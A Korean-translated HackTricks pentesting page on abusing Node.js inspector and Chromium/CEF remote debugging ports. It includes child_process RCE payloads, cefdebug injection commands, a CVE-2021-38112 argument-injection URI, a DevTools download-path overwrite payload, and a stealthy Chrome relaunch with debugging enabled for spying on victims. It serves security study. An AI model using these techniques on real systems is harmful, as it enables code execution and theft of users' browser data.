Node inspector/CEF debug abuse

Reading time: 7 minutes

tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

From the docs: --inspect ์Šค์œ„์น˜๋กœ ์‹œ์ž‘ํ•˜๋ฉด, Node.js ํ”„๋กœ์„ธ์Šค๋Š” ๋””๋ฒ„๊น… ํด๋ผ์ด์–ธํŠธ๋ฅผ ์œ„ํ•ด ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ, ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ **127.0.0.1:9229**์—์„œ ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ํ”„๋กœ์„ธ์Šค๋Š” ๋˜ํ•œ ๊ณ ์œ ํ•œ UUID๊ฐ€ ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค.

์ธ์ŠคํŽ™ํ„ฐ ํด๋ผ์ด์–ธํŠธ๋Š” ์—ฐ๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ, ํฌํŠธ ๋ฐ UUID๋ฅผ ์•Œ๊ณ  ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ „์ฒด URL์€ ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e์™€ ๋น„์Šทํ•˜๊ฒŒ ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

warning

๋””๋ฒ„๊ฑฐ๊ฐ€ Node.js ์‹คํ–‰ ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์ด ํฌํŠธ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” ์•…์˜์ ์ธ ํ–‰์œ„์ž๋Š” Node.js ํ”„๋กœ์„ธ์Šค๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ž ์žฌ์ ์ธ ๊ถŒํ•œ ์ƒ์Šน).

์ธ์ŠคํŽ™ํ„ฐ๋ฅผ ์‹œ์ž‘ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

bash
node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444 node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444 # --inspect-brk is equivalent to --inspect node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

๊ฒ€์‚ฌ๋œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector

ํ”„๋กœ์„ธ์Šค๋Š” CEF (Chromium Embedded Framework)๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, ๋””๋ฒ„๊ฑฐ๋ฅผ ์—ด๊ธฐ ์œ„ํ•ด --remote-debugging-port=9222 ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (SSRF ๋ณดํ˜ธ๋Š” ๋งค์šฐ ์œ ์‚ฌํ•˜๊ฒŒ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค). ๊ทธ๋Ÿฌ๋‚˜ NodeJS ๋””๋ฒ„๊ทธ ์„ธ์…˜์„ ๋ถ€์—ฌํ•˜๋Š” ๋Œ€์‹  Chrome DevTools Protocol์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €์™€ ํ†ต์‹ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•œ ์ธํ„ฐํŽ˜์ด์Šค์ด์ง€๋งŒ, ์ง์ ‘์ ์ธ RCE๋Š” ์—†์Šต๋‹ˆ๋‹ค.

๋””๋ฒ„๊ทธ๋œ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

๋ธŒ๋ผ์šฐ์ €, ์›น์†Œ์ผ“ ๋ฐ ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…

์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด๋ฆฌ๋Š” ์›น์‚ฌ์ดํŠธ๋Š” ๋ธŒ๋ผ์šฐ์ € ๋ณด์•ˆ ๋ชจ๋ธ์— ๋”ฐ๋ผ ์›น์†Œ์ผ“ ๋ฐ HTTP ์š”์ฒญ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณ ์œ ํ•œ ๋””๋ฒ„๊ฑฐ ์„ธ์…˜ ID๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์ดˆ๊ธฐ HTTP ์—ฐ๊ฒฐ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…์€ ์›น์‚ฌ์ดํŠธ๊ฐ€ ์ด HTTP ์—ฐ๊ฒฐ์„ ๋งŒ๋“ค ์ˆ˜ ์—†๋„๋ก ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. DNS ๋ฆฌ๋ฐ”์ธ๋”ฉ ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๋ณด์•ˆ์„ ์œ„ํ•ด, Node.js๋Š” ์—ฐ๊ฒฐ์— ๋Œ€ํ•œ 'Host' ํ—ค๋”๊ฐ€ IP ์ฃผ์†Œ ๋˜๋Š” localhost ๋˜๋Š” **localhost6**๋ฅผ ์ •ํ™•ํžˆ ์ง€์ •ํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

note

์ด ๋ณด์•ˆ ์กฐ์น˜๋Š” HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๊ธฐ๋งŒ ํ•ด๋„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ธ์ŠคํŽ™ํ„ฐ๋ฅผ ์•…์šฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค (์ด๋Š” SSRF ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์—์„œ ์ธ์ŠคํŽ™ํ„ฐ ์‹œ์ž‘ํ•˜๊ธฐ

์‹คํ–‰ ์ค‘์ธ nodejs ํ”„๋กœ์„ธ์Šค์— SIGUSR1 ์‹ ํ˜ธ๋ฅผ ๋ณด๋‚ด๋ฉด ๊ธฐ๋ณธ ํฌํŠธ์—์„œ ์ธ์ŠคํŽ™ํ„ฐ๋ฅผ ์‹œ์ž‘ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฏ€๋กœ, ์ด๋Š” ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ ์ •๋ณด์— ํŠน๊ถŒ ์•ก์„ธ์Šค๋ฅผ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ง์ ‘์ ์ธ ๊ถŒํ•œ ์ƒ์Šน์€ ์•„๋‹™๋‹ˆ๋‹ค.

bash
kill -s SIGUSR1 <nodejs-ps> # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

note

์ด ๋ฐฉ๋ฒ•์€ ์ปจํ…Œ์ด๋„ˆ์—์„œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด --inspect๋กœ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•˜๊ณ  ์ƒˆ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์€ ์˜ต์…˜์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ปจํ…Œ์ด๋„ˆ๋Š” ํ”„๋กœ์„ธ์Šค์™€ ํ•จ๊ป˜ ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค.

๊ฒ€์‚ฌ๊ธฐ/๋””๋ฒ„๊ฑฐ์— ์—ฐ๊ฒฐ

Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด Chrome ๋˜๋Š” Edge์— ๋Œ€ํ•ด ๊ฐ๊ฐ chrome://inspect ๋˜๋Š” edge://inspect URL์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์„ฑ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜์—ฌ ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋‚˜์—ด๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ์ง€๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE) ์˜ˆ์ œ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

๋ช…๋ น์ค„์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋””๋ฒ„๊ฑฐ/๊ฒ€์‚ฌ๊ธฐ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

bash
node inspect <ip>:<port> node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

๋„๊ตฌ https://github.com/taviso/cefdebug๋Š” ๋กœ์ปฌ์—์„œ ์‹คํ–‰ ์ค‘์ธ ๊ฒ€์‚ฌ๊ธฐ๋ฅผ ์ฐพ๊ณ  ๊ทธ ์•ˆ์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

bash
#List possible vulnerable sockets ./cefdebug.exe #Check if possibly vulnerable ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version" #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

note

NodeJS RCE ์ต์Šคํ”Œ๋กœ์ž‡์€ Chrome DevTools Protocol์— ์—ฐ๊ฒฐ๋œ ๊ฒฝ์šฐ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค(ํฅ๋ฏธ๋กœ์šด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด API๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).

NodeJS ๋””๋ฒ„๊ฑฐ/์ธ์ŠคํŽ™ํ„ฐ์—์„œ์˜ RCE

Node ์ธ์ŠคํŽ™ํ„ฐ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์„ ๋•Œ RCE๋ฅผ ์–ป๋Š” ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ• ์ค‘ ์ผ๋ถ€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค(์ด Chrome DevTools ํ”„๋กœํ† ์ฝœ์— ์—ฐ๊ฒฐํ•  ๋•Œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์„ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค):

javascript
process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))

Chrome DevTools Protocol Payloads

API๋ฅผ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://chromedevtools.github.io/devtools-protocol/
์ด ์„น์…˜์—์„œ๋Š” ์‚ฌ๋žŒ๋“ค์ด ์ด ํ”„๋กœํ† ์ฝœ์„ ์•…์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•œ ํฅ๋ฏธ๋กœ์šด ๊ฒƒ๋“ค์„ ๋‚˜์—ดํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

Deep Links๋ฅผ ํ†ตํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜ ์ฃผ์ž…

CVE-2021-38112์—์„œ Rhino ๋ณด์•ˆ์€ CEF ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹œ์Šคํ…œ์— ์‚ฌ์šฉ์ž ์ •์˜ URI(workspaces://index.html)๋ฅผ ๋“ฑ๋กํ•˜์—ฌ ์ „์ฒด URI๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ , ๊ทธ URI์—์„œ ๋ถ€๋ถ„์ ์œผ๋กœ ๊ตฌ์„ฑ๋œ ์„ค์ •์œผ๋กœ CEF ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

URI ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ URL ๋””์ฝ”๋”ฉ๋˜์–ด CEF ๊ธฐ๋ณธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์—ˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ๋ช…๋ น์ค„์— --gpu-launcher ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ์ž„์˜์˜ ์ž‘์—…์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

calc.exe๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ ๋ฎ์–ด์“ฐ๊ธฐ

๋‹ค์šด๋กœ๋“œ๋œ ํŒŒ์ผ์ด ์ €์žฅ๋  ํด๋”๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ , ์•…์„ฑ ์ฝ”๋“œ๋กœ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ ์œ„ํ•ด ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

javascript
ws = new WebSocket(url) //URL of the chrome devtools service ws.send( JSON.stringify({ id: 42069, method: "Browser.setDownloadBehavior", params: { behavior: "allow", downloadPath: "/code/", }, }) )

Webdriver RCE ๋ฐ ์œ ์ถœ

์ด ๊ฒŒ์‹œ๋ฌผ์— ๋”ฐ๋ฅด๋ฉด: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 RCE๋ฅผ ์–ป๊ณ  ๋‚ด๋ถ€ ํŽ˜์ด์ง€๋ฅผ ์œ ์ถœํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์‚ฌํ›„ ํ™œ์šฉ

์‹ค์ œ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž PC๋ฅผ ํƒ€๊ฒŸ์œผ๋กœ ํ•œ ํ›„ Chrome/Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ๋””๋ฒ„๊น…์ด ํ™œ์„ฑํ™”๋œ Chrome ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๋””๋ฒ„๊น… ํฌํŠธ๋ฅผ ํฌํŠธ ํฌ์›Œ๋”ฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํฌ์ƒ์ž๊ฐ€ Chrome์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ชจ๋“  ์ž‘์—…์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์€๋ฐ€ํ•œ ๋ฐฉ๋ฒ•์€ ๋ชจ๋“  Chrome ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•œ ๋‹ค์Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

References

tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ